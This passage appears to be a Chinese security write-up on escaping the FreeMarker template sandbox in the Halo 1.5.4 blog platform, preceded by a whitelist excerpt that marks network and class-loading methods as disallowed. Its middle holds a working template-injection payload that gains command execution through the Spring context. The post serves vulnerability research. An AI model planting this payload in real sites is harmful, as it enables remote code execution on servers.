java.lang.reflect.AnnotatedType.getAnnotations()
java.lang.reflect.AnnotatedType.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.AnnotatedType.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.AnnotatedType.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.Type
java.lang.reflect.Type.getTypeName()

@whitelistPolicyIfAssignable java.lang.reflect.Parameter
java.lang.reflect.Parameter.getName()
java.lang.reflect.Parameter.getModifiers()
java.lang.reflect.Parameter.isSynthetic()
java.lang.reflect.Parameter.getAnnotation(java.lang.Class)
java.lang.reflect.Parameter.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Parameter.getAnnotations()
java.lang.reflect.Parameter.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Parameter.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.Parameter.getDeclaredAnnotations()
java.lang.reflect.Parameter.getType()
java.lang.reflect.Parameter.getAnnotatedType()
java.lang.reflect.Parameter.getParameterizedType()
java.lang.reflect.Parameter.isVarArgs()
java.lang.reflect.Parameter.isNamePresent()
java.lang.reflect.Parameter.getDeclaringExecutable()
java.lang.reflect.Parameter.isImplicit()
java.lang.reflect.Parameter.isAnnotationPresent(java.lang.Class)

@whitelistPolicyIfAssignable java.lang.annotation.Annotation
java.lang.annotation.Annotation.annotationType()

@whitelistPolicyIfAssignable java.lang.constant.ClassDesc
java.lang.constant.ClassDesc.isArray()
java.lang.constant.ClassDesc.isPrimitive()
java.lang.constant.ClassDesc.componentType()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.of(java.lang.String)
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.of(java.lang.String,java.lang.String)
java.lang.constant.ClassDesc.packageName()
java.lang.constant.ClassDesc.descriptorString()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.ofDescriptor(java.lang.String)
java.lang.constant.ClassDesc.arrayType()
java.lang.constant.ClassDesc.arrayType()
java.lang.constant.ClassDesc.arrayType(int)
java.lang.constant.ClassDesc.displayName()
java.lang.constant.ClassDesc.isClassOrInterface()
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.nested(java.lang.String,java.lang.String[])
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.nested(java.lang.String)
# Disallowed since 2.3.30: java.lang.constant.ClassDesc.resolveConstantDesc(java.lang.invoke.MethodHandles$Lookup)

@whitelistPolicyIfAssignable java.net.URL
# Disallowed since 2.3.30: java.net.URL.openStream()
java.net.URL.getHost()
java.net.URL.getPort()
java.net.URL.getDefaultPort()
java.net.URL.sameFile(java.net.URL)
java.net.URL.toExternalForm()
# Disallowed since 2.3.30: java.net.URL.openConnection()
# Disallowed since 2.3.30: java.net.URL.openConnection(java.net.Proxy)
# Disallowed since 2.3.30: java.net.URL.getContent()
# Disallowed since 2.3.30: java.net.URL.getContent(java.lang.Class[])
java.net.URL.getProtocol()
java.net.URL.getAuthority()
java.net.URL.getFile()
java.net.URL.getRef()
java.net.URL.getQuery()
java.net.URL.getPath()
java.net.URL.getUserInfo()
java.net.URL.toURI()
# Disallowed since 2.3.30: java.net.URL.setURLStreamHandlerFactory(java.net.URLStreamHandlerFactory)

@whitelistPolicyIfAssignable java.lang.constant.ClassDesc

@whitelistPolicyIfAssignable java.net.URI
java.net.URI.getRawAuthority()
java.net.URI.compareTo(java.lang.Object)
java.net.URI.compareTo(java.net.URI)
java.net.URI.isAbsolute()
java.net.URI.resolve(java.net.URI)
java.net.URI.resolve(java.lang.String)
java.net.URI.normalize()
java.net.URI.getScheme()
java.net.URI.isOpaque()
java.net.URI.getRawFragment()
java.net.URI.getRawQuery()
java.net.URI.getRawPath()
java.net.URI.getHost()
java.net.URI.getPort()
java.net.URI.create(java.lang.String)
java.net.URI.getAuthority()
java.net.URI.getQuery()
java.net.URI.getPath()
java.net.URI.getUserInfo()
java.net.URI.toURL()
java.net.URI.relativize(java.net.URI)
java.net.URI.getRawSchemeSpecificPart()
java.net.URI.parseServerAuthority()
java.net.URI.getSchemeSpecificPart()
java.net.URI.getRawUserInfo()
java.net.URI.getFragment()
java.net.URI.toASCIIString()
GraphQL

halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱:

随后我们将其修改为true,发现依然可以执行禁用沙箱payload,编辑archive.ftl模板文件并添加如下payload:

<#assign ac=springMacroRequestContext.webApplicationContext>  <#assign fc=ac.getBean('freeMarkerConfiguration')>    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}
C++

随后访问归档路径直接触发恶意载荷

结论:如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击,即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令

参考项目

https://lp.lmboke.com/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf
Perl

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。